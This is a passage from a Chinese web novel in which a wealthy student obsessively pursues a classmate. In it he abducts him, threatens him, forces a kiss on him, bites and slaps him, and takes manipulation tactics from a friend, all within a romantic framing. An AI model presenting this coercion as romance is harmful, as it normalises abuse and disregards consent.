郑源重重叹口气，他也不知道该怎么办，站在原地几秒，突然下定决心似的，脱下外套，盖在李华的脑袋上，下一秒，连人带衣服的扛起来，吓李华一跳，他挣扎的像个虾米，一口咬在郑源肩膀上，郑源疼的嘶了一声，怕他叫，威胁道：“你只要敢发出声音，我就把你的裤子扒下来。”
李华挣扎地更剧烈了，死咬着他的肩不吭声。
他真怕郑源扒他裤子，他疯起来没有人性。
郑源把李华扛回了家。
把人扔在床上，李华迅速扯掉外套爬起来，郑源深吸一口气，终于觉得错位的都对了，全身舒畅。
六万白花了，他想，他不要什么喜欢了，他就要李华，就现在，少一分一秒都不行。
53.第 55 章
“你过来！”
“不要！”
两个人隔着餐桌对峙，愣是给郑源气笑了，他往左跑，李华就往右躲，他往右抓，李华就往左躲，愣是卡起视角。郑源掐着腰说：“你想干什么？”
李华说：“我要回家。”
郑源说：“你回家干什么？你回个屁家你回家，那是你舅舅家，那不是你家。”
李华说：“那也不要你管，我还没有跟舅舅说清楚！”
郑源说：“有什么好没说清楚的？该说的都已经说了，手机不是你偷的，人是我打的，还有什么是没说的？”
不是的，不是这样的，李华执拗地看着他，眼眶还红着呢，一副倔强又不认输的模样，让郑源心里痒痒的，也不是痒，就是感觉可爱，他翘起嘴角，“这样吧，你过来，让我看看你是不是受伤了，我就让你回家。”
李华狐疑地看着他：“真的吗？”
郑源说：“当然是真的。”
李华挺起胸脯：“可是我没有受伤，你不用看了，我现在就要回家。”
郑源说：“那可不是你说了算，得让医生看了才算。”
他扭头看坐在沙发上目瞪口呆的医生：“是不是医生。”
“啊，是，是。”医生从沙发上站起来，推下眼镜，“李华同学，还是看看的好。郑少爷说摸到你头上有个疙瘩，后脑勺可是重要的地方，轻则引起头晕目眩，重则血液倒流，血管阻塞，脑溢血，都有可能。”
李华被唬住了，因为他后脑袋的疙瘩的确疼，他抿了下唇，恍神之际，瞬间被人抱着，他一个激灵，郑源笑的像个魔鬼：“终于逮到你了。”
“你放开我！放开——”李华连踢带踹，郑源从后面抱着他，将他抱的脚不沾地，很轻快地朝医生走去，“医生快看。”
医生躲避着李华的攻击，无措地笑了一声，摸他脑后的疙瘩。
郑源被踹了一脚，笑着说：“你他妈扑腾的跟过年的猪似的，比那玩意儿都难摁。”
以前过年，家里为了吃的新鲜，都会专门让屠夫选头散养的猪当面宰杀，抓猪就变成了一项必不可少的运动项目，郑源离老远就能看到几个大男人围堵一头猪，再合力捆起它的四肢将猪架起来，再割脖子放血。他威胁李华，在他耳边说：“你再闹腾，我也把你捆起来。”
李华顿了一秒，瞬间狰狞起来：“你敢！”
“哎呀。”医生被扰的没办法，无奈地看眼郑源和李华：“两位同学，不是我说，能先休战吗？我都摸不到你的后脑勺了。”
因为李华正在努力地用头顶撞郑源的下巴。
郑源掐他，李华抓他，闻言都顿了一下，郑源说：“我松开你，休战行吗？”
李华瞪着他：“你先松。”
郑源看眼医生，松开手，李华瞬间跑了好几步远，警惕地看着他。
郑源坐在椅子上，“你去给他看吧。”
医生便朝李华走去，李华也不反抗了，低着头很柔顺，让医生摸他的后脑勺，医生越摸眉头皱的越重：“多长时间了？”
李华想了想，说就前天。
郑源炸了，那不就是让他回家那天？他蹭地站起来，“是不是冯宝打的？”
李华错愕地看着他，讶异于他的反应这么快，一时点头不是，摇头也不是。郑源就明白了，懊悔地踹椅子，“妈的畜牲，敢他妈动我的人，我就知道打轻了！”
李华说：“你打他干嘛？你不许打他！”
郑源说：“他该打，欠打，你拦我干嘛？”
李华说：“他是我舅妈的儿子，你打他，舅妈该跟我舅不开心了。”
郑源说：“那跟我有什么关系，我想打就打，碍着他什么事儿了？”
李华说：“但是……但是我不想……舅舅不开心……”
舅舅好不容易有一个伴侣，他不想因为他的原因把事情搞砸了，那他的罪可就大了。
郑源说：“你一直为他们着想，谁为你着想了？”
李华立刻反驳说：“他们怎么没为我着想？”
他像是听不了别人说他们家不好，或者质疑他们之间的感情，郑源却毫不留情地说：“为你着想就不该把你舅妈带到学校来，你怪我给你手机，你怎么不怪你舅舅不拦着你舅妈？不还是怕她生气，怕她真不要他，才把你排在后头吗？再说，手机怎么来的重要吗？为什么不关心冯宝大半夜找你干嘛？他们但凡有一个人是为你着想，就不会闹那么一出让你在学校难看，你怪我，无非是迁怒我，因为你怪不了你舅舅和你舅妈，你也不敢怪他们！”
李华震惊了，他哆嗦着嘴说不出话，好半天才指着郑源恼羞成怒地来了一句：“你放屁！”
“我是不是放屁你心里清楚。”郑源很淡定，“这样的人和事儿我见的多了，我不跟你计较，但是，瑕眦必报的不是你，是我，他们怎么欺负你是他们的事，你怎么容忍谦让是你的事，但是让我知道了，那就是我的事了。我天天大把大把的钱养着你，你吃的喝的用的，基本都是最好的，他们说打就打，说骂就骂，问过我的意见了吗？那手机是我给的怎么了？我家里有钱烧的慌，我想给谁给谁，我扔了都没人管，干他们什么事了？”
空气一时安静了，李华瞪着他说不出话，他的话……也没错吧，他的确吃了喝了很多郑源的……以至于舅舅都说他长胖了，但是……他也知道他是为自己好，就是……就是他不知道该怎么办了，郑源太强势了，家里又太乱了。李华头疼的揉眉心。医生连忙找回思路说：“啊，最好去医院拍个片子，我怀疑，这个程度的受伤，或许会有轻微脑震荡。”
“真的假的？”李华急了，他不要有脑震荡啊，万一磕傻了就不聪明了，不聪明还怎么学习啊。他很焦虑，郑源走过来说：“今天没时间了，明天吧，明天上午我带他去拍片子，你在医院等着我。”
“好嘞。”医生收拾着东西，背着小药箱，“那你到了随时联系我，我就先走了。”
医生走后，李华摸着脑袋上的包，郑源说：“你怎么不说他打你打得好。”
李华看他一眼，“你有病吧。”
郑源哈哈笑，“你就在这儿住着吧，别想着回去了，那也不是你的家，住着还不如这儿自由。何况你那俩亲戚还得找到我，你那懦弱的舅舅和事儿逼
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的舅妈，不然怎么报销医疗费，指不定还会狠狠地敲诈我，不过无所谓了，正好我也想跟他们好好算算账。”
“你算什么账？你不许算账。”李华说，“他们打的是我也不是你，你不能替我算账。”
“嘶，你这小孩儿，冥顽不灵呢怎么。”郑源恨铁不成钢的说，“我不是为你好吗？给你报仇你不开心吗？”
“不开心。”李华说，“事儿过去就算了，只要舅舅知道我没偷东西就好了。”
郑源看着他，脑海里突然蹦出了：“你怎么知道你没偷东西？”
“我偷什么了？”李华莫名其妙地看着他，“你少污蔑我。”
“你偷走我的心了。”郑源一本正经地说。
李华：“……”
李华：“你天天都在哪里看的些什么啊。”
他不解风情地说：“莫名其妙的。”
他打个冷颤，感到一阵恶寒。
郑源：“……”
郑源：“你不觉得很浪漫吗？没有怦然心动的感觉吗？”
李华摇头：“没有。”
摇完头他又连忙捧着头，仿佛现在是易碎品，“我感觉你莫名其妙的，老是说一些我听不懂的话，做一些我看不懂的事。”
郑源费解和崩溃，“就是情话啊，你连情话都听不懂吗？”
李华下意识摇头，又克制，只轻微摆摆手，“不知道你在说什么。”
郑源：“……”
郑源：“那我喜欢你呢，你能听懂吗？”
李华：“……”
李华没反应，郑源说：“这个你总能听得懂了吧？”
他不再看他的侧脸，而是跑到他前面，“说话啊。”
李华不看他，转过身让他看侧面。
郑源说：“那这个呢？”
他跑到李华面前半蹲下来，看着他的眼，亲他的唇，又迅速离开，在他要抓人之前后退几步说：“这个总能听懂吧？”
“听不懂听不懂听不懂。”李华前往卧室，烦死了，又被纠缠上了。
“真的假的？那我说了啊。”郑源跟在他屁股后头，“亲你就是喜欢你的意思啊——”
门砰的关上，他又又又被关在了门外。
他摸摸鼻子，哼了一声，就当他是害羞了。
果然不出他所料，第二天，他领着李华去医院的路上，就接到了王信的电话，是王春霞在后头逼迫着他让他打的。
“郑同学啊，现在在忙吗？你看之前那个事儿，现在冯宝一直在医院住着，你说……”
郑源看着一步一步跟着医生进诊疗室的李华，说：“舅舅，你给我打这通电话，李华知道吗？”
“他？小华他……我联系不上他……”
“挺好的。”郑源笑起来，“你们想要多少钱？”
“不是我们想要多少钱。”王信犹犹豫豫的声音传来，“是冯宝……”
郑源没工夫听他废话，“这件事你们要多少钱我不在乎，我问的是李华，舅舅让他以后归我管，好吗？”
郑源站在走廊上，踢踏着脚，“这件事，你要多少钱啊？”
54.第 56 章
李华的头没有大碍，但是要注意不能碰水，更不能二次伤害，医生的意思是，能侧着睡就不要正着睡，而且因为鼓包的地方处于后脑勺，更要注意休息，避免剧烈活动，没事儿可以轻轻揉揉两边的头皮，加快一下血液循环。听到自己没有脑震荡，李华长出一口气，眼睛亮亮地看着郑源：“我要回家。”
郑源不明白他对回家的执拗，耸了下肩，说：“好啊，我和你一起。”
“你干嘛跟我一起？”李华不愿意，“舅妈不想看到你。”
“就想看到你了？”
“你。”
李华被他气的说不出话，“你怎么这么烦人啊，为什么就是甩不掉你。”
郑源冷哼一声，只当没听见。
他的脸色很不好，因为王信拒绝了他。
王信那个懦弱的男人竟然拒绝了他，他十分不理解这种行为，他说：“你们容不下李华，我对他比你们对他好多了，怎么，钱不够？还是你也敬酒不吃吃罚酒？”
王信不敢相信一个学生竟然这么跟他说话，他忍了忍，好言相劝道：“郑同学，不是钱的问题，我是李华的舅舅，我有责任和义务照顾他，是我把他从老家带出来的，有什么事我也会管教他，那是我们家的孩子，我得给他们父母交代，你对他好，我都看在眼里，很感激郑同学对李华的帮助，你想要什么报酬，我们都会努力偿还你。”
偿还。郑源说：“你偿还的了吗？他不喜欢你现在的老婆，你能把她赶出去吗？他在你新儿子那儿受欺负了，你能帮他讨回来吗？”
那边久久沉默，就在郑源以为唬住他的时候，却听王信沙哑的声音：“偿还不了我们会尽力，小华不喜欢春霞，我会想办法不让他们见面，至于冯宝和小华的事，小华受的委屈我不会坐视不理。小郑同学，我们两家没有恩怨，我希望你不要过多纠缠。当朋友就好好的当，我感谢你为小华打抱不平，但更多的是我们的家事，不要管的太宽了，言尽于此。”
电话挂断，郑源的手垂下，气的差点把手机砸了。
他算是发现了，不止李华，他们一家，全是硬骨头，难啃的硬骨头。他当即给郑玉安的秘书打了电话。
现在算是撕破脸了，怎么办，就这么放任李华回去吗？王信难道不会跟他说什么吗？郑源盯着李华，盯的他往后缩了缩：“干嘛这么看我。”
郑源说：“我出去打个电话。”
他灵光一闪，想到傅一青。
傅一青很快就接了，问他怎么了，郑源把前因后果跟他说了，对方沉默很久，片刻后笑了，懒洋洋地：“果然啊。”
“果然什么？”郑源烦道：“别他妈故弄玄虚了，快跟我说下一步怎么办。”
“装可怜嘛。”傅一青说：“你就这么跟李华说。”
打完电话，李华百无聊赖地玩着衣角，看到郑源回来，瞬间站起来，眼神里有戒备，郑源有些佩服，果然被傅一青说对了，他说，你既然答应他了，他肯定怕你反悔，所以你要答应他，做出他意料之外的决定，才能让他对你进一步信任。
于是郑源说：“走吧。”
李华说：“去哪儿？”
“回家啊。”郑源说，“你不是想回家吗？”
李华惊讶：“你……真让我回去吗？”
“真的啊。”郑源说，跟着傅一青的第二步指引，得了便宜还卖乖，“不让你去你不得恨我啊，我才不想让你恨我呢。”
李华笑起来，没说话。郑源看他一眼，故作轻松地说出重点：“就是，我有点担心。”
“担心什么？”
“我觉得你回去，你家里人可能会跟你说，不让你再跟我玩了。”郑源停下来看着他，“你会吗？”
李华愣了：“会……什么……我……”
“会吗？会不再跟我玩吗？”郑源步步紧逼，“说话，李华。”
“不……不会吧……”李华不知道怎么回答，因为跟不跟他玩，主动权也不在自己手上啊，那是他说不会就能不会的吗？
“那就好。”郑源笑起来，深深地看着他：“你答应我的啊，不管他们说什么，你都不要理。”
“那不可能。”李华坚定地说，“舅舅对我很好的。”
郑源有些嫉妒，但忍住了。
把李华送到家，郑源说第二天来接他。李华拒绝了两次，拒绝不过，答应了。
到家时只有王信自己，冯春霞在医院照顾冯宝。看到李华，王信比李华还激动，连忙抓着他看，转圈看，第一句话就是：“郑源没为难你吧？”
“为难我？”李华摇头：“没有。”为难他干什么？
也是。王信放下心来，重新坐到沙发上，看着他欲言又止。李华坐在一旁，看到茶几上堆满了烟头，皱眉道：“舅舅，你怎么抽这么多烟？”
“唉。”王信叹口气，问道：“你跟郑源……怎么认识的？”
“同班同学。”李华说，忽略了郑源打过他、校园霸凌过他的事实，捡一些好的说，不想让舅舅担心：“他对我……挺好的。”
说了也没用，都已经过去了，而且也没证据，郑源家也不是好惹的。李华担心地看着舅舅：“舅舅，别抽了，你有什么烦心事吗？”
“没啊，没有。”舅舅摸把苍老的脸，有点不敢看他，“你跟冯宝……”
“手机不是我偷的！”提起这个，李华激动起来，“我不会偷人东西的！”
“我知道我知道，舅舅知道。”王信拍拍他的膝盖，安抚地笑道：“舅舅当然知道小华是什么品行，就是有些感慨，你们之间有什么矛盾？”
“手机是要还给郑源的。”李华说，“但是表哥非要玩，还要把手机抢走，我不愿意。然后我就回学校了。再之后的事情我就不知道了，那天晚上我也没见过他。”
王信点头，他完全相信李华，实际上听到冯宝污蔑李华，说手机是他偷的瞬间，他的眉头就皱了起来，根本不信，但碍于冯春霞在，冯宝被打的也实在是惨，他只能拿出质问李华的态度，当听到李华否认的瞬间，他的心安定下来，也没忍住笑了出来，让冯春霞好一顿数落。
“你表哥污蔑你的事，我回头就跟你冯姨说。”王信说：“你只管好好学习，其他的不用管，放心，舅舅不会不信你。
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“冯……姨？”李华惊慌失措，“舅舅！”
“啊。”王信挠挠脑袋，“我跟你冯姨想了想，现在还不是组建一个家庭的时候，等过段时间再说，我们之间的性格还需要磨合，感情也还需要培养，这跟你没关系，你不要有心理压力，是我们大人之间的事，也不要跟你爸妈说，别让他们操心。”
李华的眼泪一瞬间就冒出来了，心里酸胀的憋屈，他扑到舅舅怀里，怎么可能跟他没关系，他都知道，舅舅明明马上都要有自己的家了，又被他搞黄了。王信拍着他的背，嗐了一声，内心也感慨万千，“没遇到你冯姨之前，舅舅就把你当自己儿子养的，就算是遇到你冯姨了，你在舅舅心里的地位也不会变的，只是那时候需要顾及的东西太多了，难免忽落了你，都是舅舅的错，希望你别跟舅舅计较，嗯？”
他抹掉李华的眼泪，笑道：“不哭了不哭了，哪儿的男子汉大丈夫还流眼泪？”
李华抽咽着说：“舅舅，对不起……”
王信故作严肃，“都说了不是你的问题，你再这样舅舅生气了。”
李华红着鼻子看他，看起来可爱极了。
王信捏捏他的鼻子，嘱咐的话到底拐了个弯：“明天舅舅就去学校给你办走读，以后你都回家住，好不好？”
“好！”李华高兴地拍手，不可置信地抓住他的手腕：“真的吗舅舅？真的可以回家住吗？”
“当然！”王信勉强地笑笑：“舅舅再给你买个自行车，你每天可以蹬着自己的自行车上下学，开不开心？”
“开心！非常开心！”李华兴奋地要跳起来，“太好了，太好了！”
他这时倒不觉得回家浪费时间了，家是他的安全感，家人是他的后盾，是他的避风港，是他的心安。
王信看着他手舞足蹈的样子，又点了根烟。
他不想剥夺李华交朋友的权利，他是那么单纯又善良，身边围绕了坏同学，但那不是李华的错，他不可能实时守护在他身旁，在他看不到的学校里，他不希望李华惹到郑源，便让他维持原样，但会尽自己能力减少两个人的相处，努力起到保护的作用。
这样李华每天回家，他也能知道在学校都发生了什么事。
郑源的警告带给他警醒，他的确忙于生活和工作忽略了李华太多。
李华是他姐姐的孩子，有着血缘关系，他不可能不爱他。
“可是舅舅……”李华兴奋过后又冷却下来，“冯阿姨会原谅我们吗？”
“没有什么原谅不原谅。”舅舅揉他的头，“感情是两情相悦的事，急不来，也求不来，做自己就好了。”
李华重重点头。
当天晚上，郑源就收到了消息。
是李华的。
他说：你明天不要来接我，舅舅会送我。
郑源这时候还能忍。
直到他看到王信办下了走读证，李华推着崭新的自行车，脑海里紧绷的弦瞬间断了。
他妈的该死的王信，故意跟他作对。
他气的一拳砸墙上，眼里迸发出吃人的目光。
他死了。
55.第 57 章
“你他妈出的什么馊主意？！”郑源恨不得将桌子上的瓶瓶罐罐都扫了，樊瑞看出他的意图，连忙拿走自己的酒，“你消消气。”
“我他妈怎么消？”郑源瞪着他，“站着说话不腰疼你。”他又把矛头指向傅一青，“是不是你说示弱能获得他的好感？是不是你说——”
“是。”傅一青翘着二郎腿，目光幽深地看着他，“没有一点耐心，还想猎物自投罗网，怎么可能呢，郑少爷。”他嘴角的笑很嘲讽，“你告诉我你想他喜欢你，又说不要喜欢了，就要他在你身边，你到底想要什么你自己清楚吗？贪心不足蛇吞象，走到这一步不都是你自己作的吗？”
他也是头次见这种不听老师话还反过来指责老师没能力的人。
感情本就是慢热的事，一蹴而就的是情欲、□□，永远不可能是真心。
“鱼和熊掌不可能兼得。”他好心地最后劝道，“你想清楚，你究竟想要什么。”
“阻碍太多了。”郑源说，他冷静下来，找樊瑞要了根烟，“李华心里根本没有我，他家在他心里占的分量太重、太重、他父母就算了，现在又来个他舅，甚至还有他那该死的舅妈跟表哥，哪个都排在我前头，等他回头找我都什么时候了？”
“我反复无常，我能不知道吗？我不忍心伤害他，他信吗？我不停地后退，把自己的想法都克制，有用吗？他就是在逼我，逼我当一个坏人，逼我伤害他，逼我让他恨我，这是我想的吗？我还有其他路可以走吗？”他闭闭眼，“他就不能可怜可怜我，给我个笑脸吗？怎么得到他就这么难呢？你说我要的多吗？”
他看着樊瑞，樊瑞张张嘴，又闭上，“他是个人……不是个物件，当然有自己的想法……”
傅一青看着他，突然笑了。
“你笑什么？”郑源莫名其妙。
傅一青歪着脑袋看他，说：“我很欣赏你这副受害者有罪论，从某种角度上来讲我非常理解你，甚至同情，因为我跟你是一样的人。”
“你跟我？”郑源挑眉，“什么意思。”
傅一青笑而不答，他抽起了烟，不知道在想什么，目光深远。
“让他恨你，享受他的恨。”一根烟抽完，他将烟头摁灭在烟灰缸，抬眸看他：“就是享受他的爱。”
这话太高深了，郑源理解不了，看向樊瑞，樊瑞呆呆地看着傅一青，手里的酒都忘了喝。
傅一青走后，樊瑞跟郑源说：“我终于又看到他这一面了……太迷人了……但是他心里很扭曲，你知道吗？你千万不要跟他学，他不会教好你的。”
郑源：“……”
郑源：“你他妈有病吧，他不是你推荐给我的吗？”
“是，但是……”樊瑞也不知道怎么说了，“总之就是，你谨慎辨别他的话。”
郑源翻了个白眼，离开了。
刚出酒吧门，就看到傅一青在等他。是等他，因为他两手插兜，看到他的瞬间朝他笑了起来，“聊聊吗？”
直到回去，郑源也在思考傅一青最后的话：放任、放任他、放任自己。
“放任他的伤害，放任自己的恨。就会得到想要的一切。”
老是故弄玄虚，郑源想，跟个招摇撞骗的道士似的。
但他的确准备忍，因为傅一青还说，之所以对他狠不下心是因为还妄想他心里有自己。所以等一等，等一等他就能知道，李华心里到底有没有他。
郑源开始等，他开始把想说的话全部转换为目光。
看着李华跟其他同学说说笑笑。
第一天还好，只是有几个同学来找李华问数学题，有男有女，李华都一一解答了，郑源忍了。下课问他跟不跟自己一起吃饭，李华想了想，看着他摇头。他习惯性拒绝了，因为反正他的拒绝也没用。但没想到这次有用。这次郑源看着他没说话，片刻后转身走了。李华有些惊讶，但随即感到庆幸，甚至有点如释负重的意思，毕竟吃他的还是有负罪感。
李华去了饭堂，没看到郑源，他自己一个桌，正吃着呢，王玉代过来跟他坐一起了，李华没什么反应，王玉代身后还跟着两个外班的小弟，看起来尖嘴猴腮的，王玉代说：“你中午就吃这一点啊？”
李华说：“可以吃饱。”
王玉代说：“怎么没见郑源？”
李华说：“不知道。”
吃完饭，李华回寝室睡午觉，王玉代跟在他旁边，谨慎地问：“你跟郑源……没谈吧？”
“没有。”李华匪夷所思地看他一眼，王玉代看他不像有假，拍了下手，说：“太好了，隔壁班副班长给你写的情书。”
他塞到李华手里，转头跟自己的小弟说：“看见了啊，我给了啊，回头记得跟你们副班长说把瑶瑶的联系方式给我。”
李华无语地看他一眼。
王玉代嘿嘿笑：“我没办法啊，平时都是郑源你俩黏在一起，好不容易逮个他不在的空。”
李华将情书展平，要还给王玉代，王玉代一溜烟跑了。
“起码看一下吧。”王玉代身后的小弟说，“我们副班真的很喜欢你。”
李华沉默，他都不知道这个叫慧慧的女孩儿是谁。但人家既然送了，算了，看一下就看一下吧，看了也好知道怎么回复她。
毕竟是人家的一片心意。
“大众情人啊。”赵敏叼着棒棒糖跟在他身后。
男女寝距离很近，他们顺路。赵敏看着李华微红的耳尖揶揄，“这是第几个喜欢你的了？”
李华很无奈，他怎么觉得平时郑源在时没这么吵。
想起赵敏之前说男生和男生得艾滋病的事儿，他的神色有点不太好，“你想说什么？”
“试试呗。”赵敏抱着膀子，“你不试试怎么知道自己到底喜欢男孩儿还是女孩儿？”
李华说：“我喜欢男生还是女生是我自己的事。”
“啊，你不坚定地说自己喜欢女生了啊？”赵敏笑他，“说实话，太招眼的话，真不如谈一个，省得别人一直以为自己有机会，暗恋完明恋，明恋完又暗恋，被拒绝也不死心。”
这话意有所指，李华探寻地看着她，赵敏耸了下肩，“我说的就是徐梦梦，她到现在还喜欢着你呢，不信你喜欢男生，是不是有点太可怜了？”
“跟我有什么关系。”李华下意识反感这种莫名的绑架，“我跟她说的很清楚了。”
“我想让她死心。”赵敏向前一步，伸手递给他一个棒棒糖，“无论是男是女，就算假装，也假装有个喜欢的人吧。”
她认真地看着李华：“看在她帮你修过手机的份上。她现在每天晚上都会看你们两个发过的短信。你当然也不会留意她的学习一落千丈。我知道这是她活该，但是她也没打扰过你不是吗？而且你还答应和她一起看电影，做不到的事为什么要答应呢？是觉得一句跟她说清楚了就能把自己撇干净吗？换位思考一下吧，上一秒还和她喜欢的男生约着看电影，下一秒男生就和当众扇过自己耳光的霸凌者搞暧昧，她喜欢你已经很倒霉了。”
赵敏走了，李华看着手上的棒棒糖和情书，抿了下唇。
原来是这样的吗。
他从没有想过这些问题，他想不到，他每天过的都很单一，思想也很单向，不会多元化地考虑别人。
他感到愧疚。
不论其他的，就单从赵敏说的，做不到的事情为什么要答应呢？
徐梦梦帮了自己那么多
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，还因为自己挨郑源的耳光，自己又是怎么做的呢？后知后觉知道这样牵扯下去不好，所以一句我们这样不好就把人赶走了，他又何尝不是自私而冷漠的呢？
徐梦梦也只是喜欢他，没伤害过他吧，为什么对霸凌过自己的郑源都能有好脸色，对一个毫无攻击力的女孩儿这么苛刻呢？
李华悔不当初。
下午，他心神不宁，转头看徐梦梦，恰好看到徐梦梦看着他背影发呆的眼神，两个人四目相对，徐梦梦瞬间移开目光，眼尾红红的，仿佛刚哭过，不敢跟他对视。
李华坐不住了。
有股冲动，让他想现在过去跟她说，对不起，都是他的错，别难过了。
郑源一直看着他，半晌后笑了。
可以。
下课，郑源看着他迫不及待地走到徐梦梦身边，微微弯腰跟她说什么，徐梦梦瞪大眼，结结巴巴地问：“真、真的吗？”
李华郑重点头，“当然。”
徐梦梦乐开了花，瞬间站起来，差点拥抱他：“真的？你真的要跟我一起去看电影？”
她太开心了，忍不住惊呼，有点得意忘形。
李华被她的笑容感染，虽然觉得夸张，但也不好意思阻止，只能点点头，“嗯。”
郑源闭闭眼，可以，不就是看电影吗。
看，想怎么看就怎么看。
星期六，李华骑着自行车来到电影院门前。他忍痛给自己和徐梦梦买了电影票，是一部励志电影，他挑的，徐梦梦认可的。他在心里打草稿，想在电影结束时再好好跟徐梦梦道个歉，认真解释清楚事情的原委。
徐梦梦穿的很漂亮，连头发都是刚做的，身上也香香的，一时让李华有点出神。片刻后才回过神，笑的很腼腆，“来了。”
“嗯。”徐梦梦也有点紧张和害羞，缓解气氛似的：“这算我们的约会吗？”
“啊？”李华不明白，“约会？”
“嗯。你该不会连约会是什么都不知道吧。”两个人进到电影院，坐在后排，是徐梦梦挑的位置，她说后排好说话，笑的青涩又紧张，还有点害羞，“约会就是……约在一起玩的意思啦。”
“噢噢，那算吧。”李华也局促不安，这里太黑了，让他有点忐忑，看到前排有人吃爆米花，他说：“你想吃那个吗？”
徐梦梦点头，李华就又跑出去买爆米花，回来时电影都开场了，徐梦梦接过爆米花，自然地拉着他的袖子让他赶快坐下来看，离他很近，嘴一张一合地讲刚刚演过的片段，身上的香味源源不断地传到李华鼻腔，让他感觉这里怎么这么热，心跳怎么这么快，太黑了，这里太黑了，他下意识扭头看徐梦梦，徐梦梦也扭头看他，眼睛明亮又漂亮，李华的心跳慢了，拉长了，像一口气提到嗓子眼下不去了，他张张嘴，移不开目光，仿佛被深渊吸走了似的，徐梦梦睫毛颤抖，好半天才下意识伸手摸他的脸，想碰又不敢碰的，“我……”
她伸手捂住李华的眼，闭上眼前倾身体，像是若有所感，李华偏过头，徐梦梦亲到他的侧脸。
“抱……”李华的歉字还没说出口，都听到一声不合时宜的：“哇。”
李华和徐梦梦头皮一麻，瞬间扭头，徐梦梦手里的爆米花都掉在地上，李华更是僵直了身体，郑源坐在他们身后一排，跷着腿，面无表情地看着他们。
“比电影好看。”他皮笑肉不笑地说，“你俩，看的我都激动了。”
他的目光移到李华皱着眉头的脸上，“是不是啊李华，怎么，打扰你的好事了，你很不爽吧？”
他换了个姿势，道：“亲啊，继续啊，让我看着你们约会啊。”
他冷笑了一声，却分明是在说，你们死定了。
56.第 58 章
出了电影院，郑源一脚踹翻了路边的垃圾桶，在不少人的目光中吼了一句：“看什么看？！”
耳边传来窃窃私语，李华和徐梦梦也出来了。有了郑源的掺合，这场电影到底看不下去了。徐梦梦抓着李华的胳膊不愿走，李华不傻，他不想让徐梦梦再因为自己挨揍，坚定地看着她拍了拍她的胳膊，把她推走，徐梦梦看了眼郑源，只能打辆车先离开，她的确害怕郑源，也没勇气面对他，李华……他会没事吧，她真的想留下，大不了连着他俩一起打，但李华跟她说：“跟你没关系，你快走吧，留在这里只会激怒他，我不会有事的，快走。”
他看着车远去，一转头，郑源就站在他身后，低着头直勾勾地看着他，目光很沉也很平静，光的折射让他的瞳孔四分五裂出不同的碎片和光芒，像失望、伤心、又像愤怒、崩溃，和痛恨，但一眨眼，就什么都没有了，视线如同蛛丝，一圈一圈缠绕李华的心，他张张嘴，下颚猛地被他捏住，郑源的力气很大，捏的他很疼，他双手抓着他的手腕，众目睽睽之下，郑源什么都不怕，但他气的说不出话，他的怒火把他烧成了哑巴，死死地盯着李华三秒后，抓住人的胳膊就往车边带。
胡建国早就看到两个人的身影，烟也不抽了，大气不敢出一口，有些不忍地看着李华。
“你放开我！”李华想挣脱，他的自行车还在那里停着！
郑源打开车门把他塞进后座，说：“开车。”
胡建国连忙战战兢兢地发动汽车，从后视镜里小心翼翼地瞥两个人的身影，郑源坐的非常偏，胡建国看不到他的神色，只能看到他紧绷的下巴，倒能看清李华，看到他下颚被捏的红印。
“唔——”
胡建国再看，差点没踩住刹车——郑源扣着李华的后脑勺吻他，暴露在他的视野下。
胡建国傻了，他纯靠强大的本能开着车，大脑一片空白。
李华被他压在车座上，两只手的手腕都被抓住，郑源啃他的嘴，把他的舌头吸的舌根疼，嘴角也被锋利的牙齿刮破，淡淡的血腥味在嘴里蔓延，李华忍不住踹他，郑源将他的腿往旁边一掰，就卡在了他两腿之间，李华惊慌失措，慌乱的挣扎，试图转身抓住座椅逃走，被郑源摁在座椅上，背对他。郑源从后头卡住他的后颈，像行刑人脖子上的铡刀，膝盖压着他的腿，他太生气了，气的忍不住想动手打他，但他又生生遏制住了，这股无处发泄的怒气便在他胸腔里乱窜，他掀开李华的上衣，看到他白嫩的皮肉，一口咬上他的后腰，李华疼的哀嚎，那是真的咬，不带丝毫欲望，像惩罚，像要撕扯下一块儿血肉。李华疼的飙泪：“疼疼疼啊啊啊——”
可是他的后颈被卡住，他挣扎不了，抓着真皮的座椅，在上面留下划痕。
“疼？”郑源却不觉得他疼，疼他还敢这么做？疼他还跟别人看电影？还跟别人亲近？他疼吗？根本不疼，就是不疼才敢，也是，他心里又没有他，怎么可能会疼？他真想让他体会体会看着自己喜欢的人跟别人看电影，亲吻的滋味。怎么，徐梦梦的喜欢是喜欢，他郑源的喜欢就不是喜欢了？说了那么多遍他不喜欢徐梦梦，有什么用呢？就用来骗骗他了吧。郑源起身，看到他的眼泪顺着眼角流下，流在座椅上，心软一瞬，也只是一瞬，他不会再同情他、可怜他、怜悯他，他再也不会犯这样的错。
他坐在一旁，李华抹着眼泪爬起来，揉了揉自己的腰，看向郑源的目光凶狠又畏惧，郑源感到可笑：“怎么，打扰你的约会了，不开心？”
“我要下车。”李华激动地说，“我要下车！！！”
郑源看着他不说话，李华转身就开车门，郑源一把把他拽回来，差点让他跳车，他怒气冲冲：“你他妈找死啊？！”
李华挣脱他，挣脱不过，一口咬上他的胳膊，上次被他咬的肩膀还有牙印，这次又咬，郑源抓住他后脑勺的发怒骂，“我操你妈，属狗的？！”
李华被迫仰起头，一字一顿：“你也咬我了。”
“我咬你是你该。”郑源直直地盯着他：“因为你贱，你恶心，你活该。”
李华的瞳孔抖了一下，脸也白了：“你他妈骂我什么？”
脏话听的多了，他都会了，跟郑源这样的人纠缠的多了，他感觉自己也疯了，他连抓带挠，把郑源脸上抓了好几道，真疯狗，错，疯猫一样，让郑源不得不甩手，李华得空，忘了逃跑，就这么大的地方，躲到哪里？他崩溃了，他不知道为什么要这样，到底犯了什么错，他跳到郑源身上，他知道自己打不过他，手和嘴就成了利器，郑源不愿还击，被他重创好几下，手背上都挠出血，郑源怒不可遏反手一巴掌，把李华扇的偏过头去，安静了。
他跪坐在座椅上，脑子嗡嗡的。
郑源暴躁地捶了好几下背靠，伸手过去捏他的下巴，声音很哑：“我看看。”
李华死死地咬着下唇，扭过头，通红的双眼盯着他，血丝像地狱里爬出来的恶鬼，郑源对上他的视线愣了一下，随即反应过来这是恨，这是种叫恨的东西。他的手被打开，李华脸上浮现出手掌的红印，很快白皙的脸颊就肿了起来，郑源说：“难道不是吗？”
